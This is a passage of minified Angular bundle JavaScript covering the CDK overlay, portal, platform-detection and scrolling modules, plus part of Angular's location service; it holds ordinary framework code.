x=this._overlayRef.overlayElement.style,m=this._overlayRef.hostElement.style,b=this._overlayRef.getConfig(),{width:B,height:ie,maxWidth:Xe,maxHeight:it}=b,wt=!("100%"!==B&&"100vw"!==B||Xe&&"100%"!==Xe&&"100vw"!==Xe),Vt=!("100%"!==ie&&"100vh"!==ie||it&&"100%"!==it&&"100vh"!==it),Gt=this._xPosition,qt=this._xOffset,u1="rtl"===this._overlayRef.getConfig().direction;let c1="",It="",_t="";wt?_t="flex-start":"center"===Gt?(_t="center",u1?It=qt:c1=qt):u1?"left"===Gt||"end"===Gt?(_t="flex-end",c1=qt):("right"===Gt||"start"===Gt)&&(_t="flex-start",It=qt):"left"===Gt||"start"===Gt?(_t="flex-start",c1=qt):("right"===Gt||"end"===Gt)&&(_t="flex-end",It=qt),x.position=this._cssPosition,x.marginLeft=wt?"0":c1,x.marginTop=Vt?"0":this._topOffset,x.marginBottom=this._bottomOffset,x.marginRight=wt?"0":It,m.justifyContent=_t,m.alignItems=Vt?"flex-start":this._alignItems}dispose(){if(this._isDisposed||!this._overlayRef)return;const x=this._overlayRef.overlayElement.style,m=this._overlayRef.hostElement,b=m.style;m.classList.remove(Be),b.justifyContent=b.alignItems=x.marginTop=x.marginBottom=x.marginLeft=x.marginRight=x.position="",this._overlayRef=null,this._isDisposed=!0}}let P=(()=>{class te{constructor(m,b,B,ie){this._viewportRuler=m,this._document=b,this._platform=B,this._overlayContainer=ie}global(){return new pe}flexibleConnectedTo(m){return new ze(m,this._viewportRuler,this._document,this._platform,this._overlayContainer)}}return te.\\u0275fac=function(m){return new(m||te)(s.LFG(n.rL),s.LFG(a.K0),s.LFG(c.t4),s.LFG(qe))},te.\\u0275prov=s.Yz7({token:te,factory:te.\\u0275fac,providedIn:"root"}),te})(),w=0,R=(()=>{class te{constructor(m,b,B,ie,Xe,it,wt,Vt,Gt,qt,u1,c1){this.scrollStrategies=m,this._overlayContainer=b,this._componentFactoryResolver=B,this._positionBuilder=ie,this._keyboardDispatcher=Xe,this._injector=it,this._ngZone=wt,this._document=Vt,this._directionality=Gt,this._location=qt,this._outsideClickDispatcher=u1,this._animationsModuleType=c1}create(m){const b=this._createHostElement(),B=this._createPaneElement(b),ie=this._createPortalOutlet(B),Xe=new q(m);return Xe.direction=Xe.direction||this._directionality.value,new Ke(ie,b,B,Xe,this._ngZone,this._keyboardDispatcher,this._document,this._location,this._outsideClickDispatcher,"NoopAnimations"===this._animationsModuleType)}position(){return this._positionBuilder}_createPaneElement(m){const b=this._document.createElement("div");return b.id="cdk-overlay-"+w++,b.classList.add("cdk-overlay-pane"),m.appendChild(b),b}_createHostElement(){const m=this._document.createElement("div");return this._overlayContainer.getContainerElement().appendChild(m),m}_createPortalOutlet(m){return this._appRef||(this._appRef=this._injector.get(s.z2F)),new E.u0(m,this._componentFactoryResolver,this._appRef,this._injector,this._document)}}return te.\\u0275fac=function(m){return new(m||te)(s.LFG(ee),s.LFG(qe),s.LFG(s._Vd),s.LFG(P),s.LFG(Qe),s.LFG(s.zs3),s.LFG(s.R0b),s.LFG(a.K0),s.LFG(f.Is),s.LFG(a.Ye),s.LFG(Ye),s.LFG(s.QbO,8))},te.\\u0275prov=s.Yz7({token:te,factory:te.\\u0275fac}),te})();const X=[{originX:"start",originY:"bottom",overlayX:"start",overlayY:"top"},{originX:"start",originY:"top",overlayX:"start",overlayY:"bottom"},{originX:"end",originY:"top",overlayX:"end",overlayY:"bottom"},{originX:"end",originY:"bottom",overlayX:"end",overlayY:"top"}],_e=new s.OlP("cdk-connected-overlay-scroll-strategy");let ct=(()=>{class te{constructor(m){this.elementRef=m}}return te.\\u0275fac=function(m){return new(m||te)(s.Y36(s.SBq))},te.\\u0275dir=s.lG2({type:te,selectors:[["","cdk-overlay-origin",""],["","overlay-origin",""],["","cdkOverlayOrigin",""]],exportAs:["cdkOverlayOrigin"]}),te})(),Je=(()=>{class te{constructor(m,b,B,ie,Xe){this._overlay=m,this._dir=Xe,this._hasBackdrop=!1,this._lockPosition=!1,this._growAfterOpen=!1,this._flexibleDimensions=!1,this._push=!1,this._backdropSubscription=S.w.EMPTY,this._attachSubscription=S.w.EMPTY,this._detachSubscription=S.w.EMPTY,this._positionSubscription=S.w.EMPTY,this.viewportMargin=0,this.open=!1,this.disableClose=!1,this.backdropClick=new s.vpe,this.positionChange=new s.vpe,this.attach=new s.vpe,this.detach=new s.vpe,this.overlayKeydown=new s.vpe,this.overlayOutsideClick=new s.vpe,this._templatePortal=new E.UE(b,B),this._scrollStrategyFactory=ie,this.scrollStrategy=this._scrollStrategyFactory()}get offsetX(){return this._offsetX}set offsetX(m){this._offsetX=m,this._position&&this._updatePositionStrategy(this._position)}get offsetY(){return this._offsetY}set offsetY(m){this._offsetY=m,this._position&&this._updatePositionStrategy(this._position)}get hasBackdrop(){return this._hasBackdrop}set hasBackdrop(m){this._hasBackdrop=(0,u.Ig)(m)}get lockPosition(){return this._lockPosition}set lockPosition(m){this._lockPosition=(0,u.Ig)(m)}get flexibleDimensions(){return this._flexibleDimensions}set flexibleDimensions(m){this._flexibleDimensions=(0,u.Ig)(m)}get growAfterOpen(){return this._growAfterOpen}set growAfterOpen(m){this._growAfterOpen=(0,u.Ig)(m)}get push(){return this._push}set push(m){this._push=(0,u.Ig)(m)}get overlayRef(){return this._overlayRef}get dir(){return this._dir?this._dir.value:"ltr"}ngOnDestroy(){this._attachSubscription.unsubscribe(),this._detachSubscription.unsubscribe(),this._backdropSubscription.unsubscribe(),this._positionSubscription.unsubscribe(),this._overlayRef&&this._overlayRef.dispose()}ngOnChanges(m){this._position&&(this._updatePositionStrategy(this._position),this._overlayRef.updateSize({width:this.width,minWidth:this.minWidth,height:this.height,minHeight:this.minHeight}),m.origin&&this.open&&this._position.apply()),m.open&&(this.open?this._attachOverlay():this._detachOverlay())}_createOverlay(){(!this.positions||!this.positions.length)&&(this.positions=X);const m=this._overlayRef=this._overlay.create(this._buildConfig());this._attachSubscription=m.attachments().subscribe(()=>this.attach.emit()),this._detachSubscription=m.detachments().subscribe(()=>this.detach.emit()),m.keydownEvents().subscribe(b=>{this.overlayKeydown.next(b),b.keyCode===j.hY&&!this.disableClose&&!(0,j.Vb)(b)&&(b.preventDefault(),this._detachOverlay())}),this._overlayRef.outsidePointerEvents().subscribe(b=>{this.overlayOutsideClick.next(b)})}_buildConfig(){const m=this._position=this.positionStrategy||this._createPositionStrategy(),b=new q({direction:this._dir,positionStrategy:m,scrollStrategy:this.scrollStrategy,hasBackdrop:this.hasBackdrop});return(this.width||0===this.width)&&(b.width=this.width),(this.height||0===this.height)&&(b.height=this.height),(this.minWidth||0===this.minWidth)&&(b.minWidth=this.minWidth),(this.minHeight||0===this.minHeight)&&(b.minHeight=this.minHeight),this.backdropClass&&(b.backdropClass=this.backdropClass),this.panelClass&&(b.panelClass=this.panelClass),b}_updatePositionStrategy(m){const b=this.positions.map(B=>({originX:B.originX,originY:B.originY,overlayX:B.overlayX,overlayY:B.overlayY,offsetX:B.offsetX||this.offsetX,offsetY:B.offsetY||this.offsetY,panelClass:B.panelClass||void 0}));return m.setOrigin(this._getFlexibleConnectedPositionStrategyOrigin()).withPositions(b).withFlexibleDimensions(this.flexibleDimensions).withPush(this.push).withGrowAfterOpen(this.growAfterOpen).withViewportMargin(this.viewportMargin).withLockedPosition(this.lockPosition).withTransformOriginOn(this.transformOriginSelector)}_createPositionStrategy(){const m=this._overlay.position().flexibleConnectedTo(this._getFlexibleConnectedPositionStrategyOrigin());return this._updatePositionStrategy(m),m}_getFlexibleConnectedPositionStrategyOrigin(){return this.origin instanceof ct?this.origin.elementRef:this.origin}_attachOverlay(){this._overlayRef?this._overlayRef.getConfig().hasBackdrop=this.hasBackdrop:this._createOverlay(),this._overlayRef.hasAttached()||this._overlayRef.attach(this._templatePortal),this.hasBackdrop?this._backdropSubscription=this._overlayRef.backdropClick().subscribe(m=>{this.backdropClick.emit(m)}):this._backdropSubscription.unsubscribe(),this._positionSubscription.unsubscribe(),this.positionChange.observers.length>0&&(this._positionSubscription=this._position.positionChanges.pipe((0,H.o)(()=>this.positionChange.observers.length>0)).subscribe(m=>{this.positionChange.emit(m),0===this.positionChange.observers.length&&this._positionSubscription.unsubscribe()}))}_detachOverlay(){this._overlayRef&&this._overlayRef.detach(),this._backdropSubscription.unsubscribe(),this._positionSubscription.unsubscribe()}}return te.\\u0275fac=function(m){return new(m||te)(s.Y36(R),s.Y36(s.Rgc),s.Y36(s.s_b),s.Y36(_e),s.Y36(f.Is,8))},te.\\u0275dir=s.lG2({type:te,selectors:[["","cdk-connected-overlay",""],["","connected-overlay",""],["","cdkConnectedOverlay",""]],inputs:{origin:["cdkConnectedOverlayOrigin","origin"],positions:["cdkConnectedOverlayPositions","positions"],positionStrategy:["cdkConnectedOverlayPositionStrategy","positionStrategy"],offsetX:["cdkConnectedOverlayOffsetX","offsetX"],offsetY:["cdkConnectedOverlayOffsetY","offsetY"],width:["cdkConnectedOverlayWidth","width"],height:["cdkConnectedOverlayHeight","height"],minWidth:["cdkConnectedOverlayMinWidth","minWidth"],minHeight:["cdkConnectedOverlayMinHeight","minHeight"],backdropClass:["cdkConnectedOverlayBackdropClass","backdropClass"],panelClass:["cdkConnectedOverlayPanelClass","panelClass"],viewportMargin:["cdkConnectedOverlayViewportMargin","viewportMargin"],scrollStrategy:["cdkConnectedOverlayScrollStrategy","scrollStrategy"],open:["cdkConnectedOverlayOpen","open"],disableClose:["cdkConnectedOverlayDisableClose","disableClose"],transformOriginSelector:["cdkConnectedOverlayTransformOriginOn","transformOriginSelector"],hasBackdrop:["cdkConnectedOverlayHasBackdrop","hasBackdrop"],lockPosition:["cdkConnectedOverlayLockPosition","lockPosition"],flexibleDimensions:["cdkConnectedOverlayFlexibleDimensions","flexibleDimensions"],growAfterOpen:["cdkConnectedOverlayGrowAfterOpen","growAfterOpen"],push:["cdkConnectedOverlayPush","push"]},outputs:{backdropClick:"backdropClick",positionChange:"positionChange",attach:"attach",detach:"detach",overlayKeydown:"overlayKeydown",overlayOutsideClick:"overlayOutsideClick"},exportAs:["cdkConnectedOverlay"],features:[s.TTD]}),te})();const Dt={provide:_e,deps:[R],useFactory:function Et(te){return()=>te.scrollStrategies.reposition()}};let Pt=(()=>{class te{}return te.\\u0275fac=function(m){return new(m||te)},te.\\u0275mod=s.oAB({type:te}),te.\\u0275inj=s.cJS({providers:[R,Dt],imports:[f.vT,E.eL,n.Cl,n.Cl]}),te})()},3353:(At,ae,d)=>{"use strict";d.d(ae,{Mq:()=>j,Oy:()=>K,_i:()=>U,ht:()=>Ce,i$:()=>C,kV:()=>oe,qK:()=>_,sA:()=>k,t4:()=>u});var n=d(4650),a=d(6895);let s;try{s=typeof Intl<"u"&&Intl.v8BreakIterator}catch{s=!1}let f,u=(()=>{class se{constructor(q){this._platformId=q,this.isBrowser=this._platformId?(0,a.NF)(this._platformId):"object"==typeof document&&!!document,this.EDGE=this.isBrowser&&/(edge)/i.test(navigator.userAgent),this.TRIDENT=this.isBrowser&&/(msie|trident)/i.test(navigator.userAgent),this.BLINK=this.isBrowser&&!(!window.chrome&&!s)&&typeof CSS<"u"&&!this.EDGE&&!this.TRIDENT,this.WEBKIT=this.isBrowser&&/AppleWebKit/i.test(navigator.userAgent)&&!this.BLINK&&!this.EDGE&&!this.TRIDENT,this.IOS=this.isBrowser&&/iPad|iPhone|iPod/.test(navigator.userAgent)&&!("MSStream"in window),this.FIREFOX=this.isBrowser&&/(firefox|minefield)/i.test(navigator.userAgent),this.ANDROID=this.isBrowser&&/android/i.test(navigator.userAgent)&&!this.TRIDENT,this.SAFARI=this.isBrowser&&/safari/i.test(navigator.userAgent)&&this.WEBKIT}}return se.\\u0275fac=function(q){return new(q||se)(n.LFG(n.Lbi))},se.\\u0275prov=n.Yz7({token:se,factory:se.\\u0275fac,providedIn:"root"}),se})();const E=["color","button","checkbox","date","datetime-local","email","file","hidden","image","month","number","password","radio","range","reset","search","submit","tel","text","time","url","week"];function _(){if(f)return f;if("object"!=typeof document||!document)return f=new Set(E),f;let se=document.createElement("input");return f=new Set(E.filter(ee=>(se.setAttribute("type",ee),se.type===ee))),f}let S,z,H,G;function C(se){return function g(){if(null==S&&typeof window<"u")try{window.addEventListener("test",null,Object.defineProperty({},"passive",{get:()=>S=!0}))}finally{S=S||!1}return S}()?se:!!se.capture}function j(){if(null==H){if("object"!=typeof document||!document||"function"!=typeof Element||!Element)return H=!1,H;if("scrollBehavior"in document.documentElement.style)H=!0;else{const se=Element.prototype.scrollTo;H=!!se&&!/\\{\\s*\\[native code\\]\\s*\\}/.test(se.toString())}}return H}function U(){if("object"!=typeof document||!document)return 0;if(null==z){const se=document.createElement("div"),ee=se.style;se.dir="rtl",ee.width="1px",ee.overflow="auto",ee.visibility="hidden",ee.pointerEvents="none",ee.position="absolute";const q=document.createElement("div"),we=q.style;we.width="2px",we.height="1px",se.appendChild(q),document.body.appendChild(se),z=0,0===se.scrollLeft&&(se.scrollLeft=1,z=0===se.scrollLeft?1:2),se.remove()}return z}function oe(se){if(function Q(){if(null==G){const se=typeof document<"u"?document.head:null;G=!(!se||!se.createShadowRoot&&!se.attachShadow)}return G}()){const ee=se.getRootNode?se.getRootNode():null;if(typeof ShadowRoot<"u"&&ShadowRoot&&ee instanceof ShadowRoot)return ee}return null}function Ce(){let se=typeof document<"u"&&document?document.activeElement:null;for(;se&&se.shadowRoot;){const ee=se.shadowRoot.activeElement;if(ee===se)break;se=ee}return se}function k(se){return se.composedPath?se.composedPath()[0]:se.target}function K(){return typeof __karma__<"u"&&!!__karma__||typeof jasmine<"u"&&!!jasmine||typeof jest<"u"&&!!jest||typeof Mocha<"u"&&!!Mocha}},4080:(At,ae,d)=>{"use strict";d.d(ae,{C5:()=>g,Pl:()=>Ce,UE:()=>C,eL:()=>K,en:()=>H,ig:()=>Q,u0:()=>U});var n=d(4650),a=d(6895);class S{attach(q){return this._attachedHost=q,q.attach(this)}detach(){let q=this._attachedHost;null!=q&&(this._attachedHost=null,q.detach())}get isAttached(){return null!=this._attachedHost}setAttachedHost(q){this._attachedHost=q}}class g extends S{constructor(q,we,ce,je){super(),this.component=q,this.viewContainerRef=we,this.injector=ce,this.componentFactoryResolver=je}}class C extends S{constructor(q,we,ce,je){super(),this.templateRef=q,this.viewContainerRef=we,this.context=ce,this.injector=je}get origin(){return this.templateRef.elementRef}attach(q,we=this.context){return this.context=we,super.attach(q)}detach(){return this.context=void 0,super.detach()}}class z extends S{constructor(q){super(),this.element=q instanceof n.SBq?q.nativeElement:q}}class H{constructor(){this._isDisposed=!1,this.attachDomPortal=null}hasAttached(){return!!this._attachedPortal}attach(q){return q instanceof g?(this._attachedPortal=q,this.attachComponentPortal(q)):q instanceof C?(this._attachedPortal=q,this.attachTemplatePortal(q)):this.attachDomPortal&&q instanceof z?(this._attachedPortal=q,this.attachDomPortal(q)):void 0}detach(){this._attachedPortal&&(this._attachedPortal.setAttachedHost(null),this._attachedPortal=null),this._invokeDisposeFn()}dispose(){this.hasAttached()&&this.detach(),this._invokeDisposeFn(),this._isDisposed=!0}setDisposeFn(q){this._disposeFn=q}_invokeDisposeFn(){this._disposeFn&&(this._disposeFn(),this._disposeFn=null)}}class U extends H{constructor(q,we,ce,je,Ze){super(),this.outletElement=q,this._componentFactoryResolver=we,this._appRef=ce,this._defaultInjector=je,this.attachDomPortal=le=>{const Oe=le.element,Qe=this._document.createComment("dom-portal");Oe.parentNode.insertBefore(Qe,Oe),this.outletElement.appendChild(Oe),this._attachedPortal=le,super.setDisposeFn(()=>{Qe.parentNode&&Qe.parentNode.replaceChild(Oe,Qe)})},this._document=Ze}attachComponentPortal(q){const ce=(q.componentFactoryResolver||this._componentFactoryResolver).resolveComponentFactory(q.component);let je;return q.viewContainerRef?(je=q.viewContainerRef.createComponent(ce,q.viewContainerRef.length,q.injector||q.viewContainerRef.injector),this.setDisposeFn(()=>je.destroy())):(je=ce.create(q.injector||this._defaultInjector||n.zs3.NULL),this._appRef.attachView(je.hostView),this.setDisposeFn(()=>{this._appRef.viewCount>0&&this._appRef.detachView(je.hostView),je.destroy()})),this.outletElement.appendChild(this._getComponentRootNode(je)),this._attachedPortal=q,je}attachTemplatePortal(q){let we=q.viewContainerRef,ce=we.createEmbeddedView(q.templateRef,q.context,{injector:q.injector});return ce.rootNodes.forEach(je=>this.outletElement.appendChild(je)),ce.detectChanges(),this.setDisposeFn(()=>{let je=we.indexOf(ce);-1!==je&&we.remove(je)}),this._attachedPortal=q,ce}dispose(){super.dispose(),this.outletElement.remove()}_getComponentRootNode(q){return q.hostView.rootNodes[0]}}let Q=(()=>{class ee extends C{constructor(we,ce){super(we,ce)}}return ee.\\u0275fac=function(we){return new(we||ee)(n.Y36(n.Rgc),n.Y36(n.s_b))},ee.\\u0275dir=n.lG2({type:ee,selectors:[["","cdkPortal",""]],exportAs:["cdkPortal"],features:[n.qOj]}),ee})(),Ce=(()=>{class ee extends H{constructor(we,ce,je){super(),this._componentFactoryResolver=we,this._viewContainerRef=ce,this._isInitialized=!1,this.attached=new n.vpe,this.attachDomPortal=Ze=>{const le=Ze.element,Oe=this._document.createComment("dom-portal");Ze.setAttachedHost(this),le.parentNode.insertBefore(Oe,le),this._getRootNode().appendChild(le),this._attachedPortal=Ze,super.setDisposeFn(()=>{Oe.parentNode&&Oe.parentNode.replaceChild(le,Oe)})},this._document=je}get portal(){return this._attachedPortal}set portal(we){this.hasAttached()&&!we&&!this._isInitialized||(this.hasAttached()&&super.detach(),we&&super.attach(we),this._attachedPortal=we||null)}get attachedRef(){return this._attachedRef}ngOnInit(){this._isInitialized=!0}ngOnDestroy(){super.dispose(),this._attachedPortal=null,this._attachedRef=null}attachComponentPortal(we){we.setAttachedHost(this);const ce=null!=we.viewContainerRef?we.viewContainerRef:this._viewContainerRef,Ze=(we.componentFactoryResolver||this._componentFactoryResolver).resolveComponentFactory(we.component),le=ce.createComponent(Ze,ce.length,we.injector||ce.injector);return ce!==this._viewContainerRef&&this._getRootNode().appendChild(le.hostView.rootNodes[0]),super.setDisposeFn(()=>le.destroy()),this._attachedPortal=we,this._attachedRef=le,this.attached.emit(le),le}attachTemplatePortal(we){we.setAttachedHost(this);const ce=this._viewContainerRef.createEmbeddedView(we.templateRef,we.context,{injector:we.injector});return super.setDisposeFn(()=>this._viewContainerRef.clear()),this._attachedPortal=we,this._attachedRef=ce,this.attached.emit(ce),ce}_getRootNode(){const we=this._viewContainerRef.element.nativeElement;return we.nodeType===we.ELEMENT_NODE?we:we.parentNode}}return ee.\\u0275fac=function(we){return new(we||ee)(n.Y36(n._Vd),n.Y36(n.s_b),n.Y36(a.K0))},ee.\\u0275dir=n.lG2({type:ee,selectors:[["","cdkPortalOutlet",""]],inputs:{portal:["cdkPortalOutlet","portal"]},outputs:{attached:"attached"},exportAs:["cdkPortalOutlet"],features:[n.qOj]}),ee})(),K=(()=>{class ee{}return ee.\\u0275fac=function(we){return new(we||ee)},ee.\\u0275mod=n.oAB({type:ee}),ee.\\u0275inj=n.cJS({}),ee})()},7261:(At,ae,d)=>{"use strict";d.d(ae,{PQ:()=>le,ZD:()=>We,mF:()=>Ze,Cl:()=>xt,rL:()=>Qe});var n=d(1281),a=d(4650),s=d(8929),u=d(1086),c=d(6498),f=d(3753),S=(d(352),d(8139),d(353)),g=d(1177);class z{constructor(pe){this.durationSelector=pe}call(pe,P){return P.subscribe(new H(pe,this.durationSelector))}}class H extends g.Ds{constructor(pe,P){super(pe),this.durationSelector=P,this.hasValue=!1}_next(pe){if(this.value=pe,this.hasValue=!0,!this.throttled){let P;try{const{durationSelector:R}=this;P=R(pe)}catch(R){return this.destination.error(R)}const w=(0,g.ft)(P,new g.IY(this));!w||w.closed?this.clearThrottle():this.add(this.throttled=w)}}clearThrottle(){const{value:pe,hasValue:P,throttled:w}=this;w&&(this.remove(w),this.throttled=void 0,w.unsubscribe()),P&&(this.value=void 0,this.hasValue=!1,this.destination.next(pe))}notifyNext(){this.clearThrottle()}notifyComplete(){this.clearThrottle()}}var j=d(7739);function U(Be,pe=S.P){return function C(Be){return function(P){return P.lift(new z(Be))}}(()=>(0,j.H)(Be,pe))}var G=d(2198),Q=d(7625),oe=d(3353),Ce=d(6895),k=d(445);let Ze=(()=>{class Be{constructor(P,w,R){this._ngZone=P,this._platform=w,this._scrolled=new s.xQ,this._globalSubscription=null,this._scrolledCount=0,this.scrollContainers=new Map,this._document=R}register(P){this.scrollContainers.has(P)||this.scrollContainers.set(P,P.elementScrolled().subscribe(()=>this._scrolled.next(P)))}deregister(P){const w=this.scrollContainers.get(P);w&&(w.unsubscribe(),this.scrollContainers.delete(P))}scrolled(P=20){return this._platform.isBrowser?new c.y(w=>{this._globalSubscription||this._addGlobalListener();const R=P>0?this._scrolled.pipe(U(P)).subscribe(w):this._scrolled.subscribe(w);return this._scrolledCount++,()=>{R.unsubscribe(),this._scrolledCount--,this._scrolledCount||this._removeGlobalListener()}}):(0,u.of)()}ngOnDestroy(){this._removeGlobalListener(),this.scrollContainers.forEach((P,w)=>this.deregister(w)),this._scrolled.complete()}ancestorScrolled(P,w){const R=this.getAncestorScrollContainers(P);return this.scrolled(w).pipe((0,G.h)(X=>!X||R.indexOf(X)>-1))}getAncestorScrollContainers(P){const w=[];return this.scrollContainers.forEach((R,X)=>{this._scrollableContainsElement(X,P)&&w.push(X)}),w}_getWindow(){return this._document.defaultView||window}_scrollableContainsElement(P,w){let R=(0,n.fI)(w),X=P.getElementRef().nativeElement;do{if(R==X)return!0}while(R=R.parentElement);return!1}_addGlobalListener(){this._globalSubscription=this._ngZone.runOutsideAngular(()=>{const P=this._getWindow();return(0,f.R)(P.document,"scroll").subscribe(()=>this._scrolled.next())})}_removeGlobalListener(){this._globalSubscription&&(this._globalSubscription.unsubscribe(),this._globalSubscription=null)}}return Be.\\u0275fac=function(P){return new(P||Be)(a.LFG(a.R0b),a.LFG(oe.t4),a.LFG(Ce.K0,8))},Be.\\u0275prov=a.Yz7({token:Be,factory:Be.\\u0275fac,providedIn:"root"}),Be})(),le=(()=>{class Be{constructor(P,w,R,X){this.elementRef=P,this.scrollDispatcher=w,this.ngZone=R,this.dir=X,this._destroyed=new s.xQ,this._elementScrolled=new c.y(_e=>this.ngZone.runOutsideAngular(()=>(0,f.R)(this.elementRef.nativeElement,"scroll").pipe((0,Q.R)(this._destroyed)).subscribe(_e)))}ngOnInit(){this.scrollDispatcher.register(this)}ngOnDestroy(){this.scrollDispatcher.deregister(this),this._destroyed.next(),this._destroyed.complete()}elementScrolled(){return this._elementScrolled}getElementRef(){return this.elementRef}scrollTo(P){const w=this.elementRef.nativeElement,R=this.dir&&"rtl"==this.dir.value;null==P.left&&(P.left=R?P.end:P.start),null==P.right&&(P.right=R?P.start:P.end),null!=P.bottom&&(P.top=w.scrollHeight-w.clientHeight-P.bottom),R&&0!=(0,oe._i)()?(null!=P.left&&(P.right=w.scrollWidth-w.clientWidth-P.left),2==(0,oe._i)()?P.left=P.right:1==(0,oe._i)()&&(P.left=P.right?-P.right:P.right)):null!=P.right&&(P.left=w.scrollWidth-w.clientWidth-P.right),this._applyScrollToOptions(P)}_applyScrollToOptions(P){const w=this.elementRef.nativeElement;(0,oe.Mq)()?w.scrollTo(P):(null!=P.top&&(w.scrollTop=P.top),null!=P.left&&(w.scrollLeft=P.left))}measureScrollOffset(P){const w="left",R="right",X=this.elementRef.nativeElement;if("top"==P)return X.scrollTop;if("bottom"==P)return X.scrollHeight-X.clientHeight-X.scrollTop;const _e=this.dir&&"rtl"==this.dir.value;return"start"==P?P=_e?R:w:"end"==P&&(P=_e?w:R),_e&&2==(0,oe._i)()?P==w?X.scrollWidth-X.clientWidth-X.scrollLeft:X.scrollLeft:_e&&1==(0,oe._i)()?P==w?X.scrollLeft+X.scrollWidth-X.clientWidth:-X.scrollLeft:P==w?X.scrollLeft:X.scrollWidth-X.clientWidth-X.scrollLeft}}return Be.\\u0275fac=function(P){return new(P||Be)(a.Y36(a.SBq),a.Y36(Ze),a.Y36(a.R0b),a.Y36(k.Is,8))},Be.\\u0275dir=a.lG2({type:Be,selectors:[["","cdk-scrollable",""],["","cdkScrollable",""]]}),Be})(),Qe=(()=>{class Be{constructor(P,w,R){this._platform=P,this._change=new s.xQ,this._changeListener=X=>{this._change.next(X)},this._document=R,w.runOutsideAngular(()=>{if(P.isBrowser){const X=this._getWindow();X.addEventListener("resize",this._changeListener),X.addEventListener("orientationchange",this._changeListener)}this.change().subscribe(()=>this._viewportSize=null)})}ngOnDestroy(){if(this._platform.isBrowser){const P=this._getWindow();P.removeEventListener("resize",this._changeListener),P.removeEventListener("orientationchange",this._changeListener)}this._change.complete()}getViewportSize(){this._viewportSize||this._updateViewportSize();const P={width:this._viewportSize.width,height:this._viewportSize.height};return this._platform.isBrowser||(this._viewportSize=null),P}getViewportRect(){const P=this.getViewportScrollPosition(),{width:w,height:R}=this.getViewportSize();return{top:P.top,left:P.left,bottom:P.top+R,right:P.left+w,height:R,width:w}}getViewportScrollPosition(){if(!this._platform.isBrowser)return{top:0,left:0};const P=this._document,w=this._getWindow(),R=P.documentElement,X=R.getBoundingClientRect();return{top:-X.top||P.body.scrollTop||w.scrollY||R.scrollTop||0,left:-X.left||P.body.scrollLeft||w.scrollX||R.scrollLeft||0}}change(P=20){return P>0?this._change.pipe(U(P)):this._change}_getWindow(){return this._document.defaultView||window}_updateViewportSize(){const P=this._getWindow();this._viewportSize=this._platform.isBrowser?{width:P.innerWidth,height:P.innerHeight}:{width:0,height:0}}}return Be.\\u0275fac=function(P){return new(P||Be)(a.LFG(oe.t4),a.LFG(a.R0b),a.LFG(Ce.K0,8))},Be.\\u0275prov=a.Yz7({token:Be,factory:Be.\\u0275fac,providedIn:"root"}),Be})(),We=(()=>{class Be{}return Be.\\u0275fac=function(P){return new(P||Be)},Be.\\u0275mod=a.oAB({type:Be}),Be.\\u0275inj=a.cJS({}),Be})(),xt=(()=>{class Be{}return Be.\\u0275fac=function(P){return new(P||Be)},Be.\\u0275mod=a.oAB({type:Be}),Be.\\u0275inj=a.cJS({imports:[k.vT,We,k.vT,We]}),Be})()},6895:(At,ae,d)=>{"use strict";d.d(ae,{Do:()=>Ce,ED:()=>X1,EM:()=>Ui,HT:()=>u,JF:()=>ti,JJ:()=>h2,K0:()=>f,Mx:()=>p1,NF:()=>bi,O5:()=>Gn,Ov:()=>Nn,PC:()=>$n,PM:()=>mn,RF:()=>Rn,S$:()=>G,V_:()=>S,Ye:()=>k,b0:()=>oe,bD:()=>x2,ez:()=>p2,i8:()=>ln,mk:()=>h1,mr:()=>Q,n9:()=>cn,q:()=>s,sg:()=>vn,w_:()=>c});var n=d(4650);let a=null;function s(){return a}function u(N){a||(a=N)}class c{}const f=new n.OlP("DocumentToken");let E=(()=>{class N{historyGo(W){throw new Error("Not implemented")}}return N.\\u0275fac=function(W){return new(W||N)},N.\\u0275prov=n.Yz7({token:N,factory:function(){return function _(){return(0,n.LFG)(g)}()},providedIn:"platform"}),N})();const S=new n.OlP("Location Initialized");let g=(()=>{class N extends E{constructor(W){super(),this._doc=W,this._location=window.location,this._history=window.history}getBaseHrefFromDOM(){return s().getBaseHref(this._doc)}onPopState(W){const Ve=s().getGlobalEventTarget(this._doc,"window");return Ve.addEventListener("popstate",W,!1),()=>Ve.removeEventListener("popstate",W)}onHashChange(W){const Ve=s().getGlobalEventTarget(this._doc,"window");return Ve.addEventListener("hashchange",W,!1),()=>Ve.removeEventListener("hashchange",W)}get href(){return this._location.href}get protocol(){return this._location.protocol}get hostname(){return this._location.hostname}get port(){return this._location.port}get pathname(){return this._location.pathname}get search(){return this._location.search}get hash(){return this._location.hash}set pathname(W){this._location.pathname=W}pushState(W,Ve,ht){C()?this._history.pushState(W,Ve,ht):this._location.hash=ht}replaceState(W,Ve,ht){C()?this._history.replaceState(W,Ve,ht):this._location.hash=ht}forward(){this._history.forward()}back(){this._history.back()}historyGo(W=0){this._history.go(W)}getState(){return this._history.state}}return N.\\u0275fac=function(W){return new(W||N)(n.LFG(f))},N.\\u0275prov=n.Yz7({token:N,factory:function(){return function z(){return new g((0,n.LFG)(f))}()},providedIn:"platform"}),N})();function C(){return!!window.history.pushState}function H(N,he){if(0==N.length)return he;if(0==he.length)return N;let W=0;return N.endsWith("/")&&W++,he.startsWith("/")&&W++,2==W?N+he.substring(1):1==W?N+he:N+"/"+he}function j(N){const he=N.match(/#|\\?|$/),W=he&&he.index||N.length;return N.slice(0,W-("/"===N[W-1]?1:0))+N.slice(W)}function U(N){return N&&"?"!==N[0]?"?"+N:N}let G=(()=>{class N{historyGo(W){throw new Error("Not implemented")}}return N.\\u0275fac=function(W){return new(W||N)},N.\\u0275prov=n.Yz7({token:N,factory:function(){return(0,n.f3M)(oe)},providedIn:"root"}),N})();const Q=new n.OlP("appBaseHref");let oe=(()=>{class N extends G{constructor(W,Ve){super(),this._platformLocation=W,this._removeListenerFns=[],this._baseHref=Ve??this._platformLocation.getBaseHrefFromDOM()??(0,n.f3M)(f).location?.origin??""}ngOnDestroy(){for(;this._removeListenerFns.length;)this._removeListenerFns.pop()()}onPopState(W){this._removeListenerFns.push(this._platformLocation.onPopState(W),this._platformLocation.onHashChange(W))}getBaseHref(){return this._baseHref}prepareExternalUrl(W){return H(this._baseHref,W)}path(W=!1){const Ve=this._platformLocation.pathname+U(this._platformLocation.search),ht=this._platformLocation.hash;return ht&&W?`${Ve}${ht}`:Ve}pushState(W,Ve,ht,Ht){const Yt=this.prepareExternalUrl(ht+U(Ht));this._platformLocation.pushState(W,Ve,Yt)}replaceState(W,Ve,ht,Ht){const 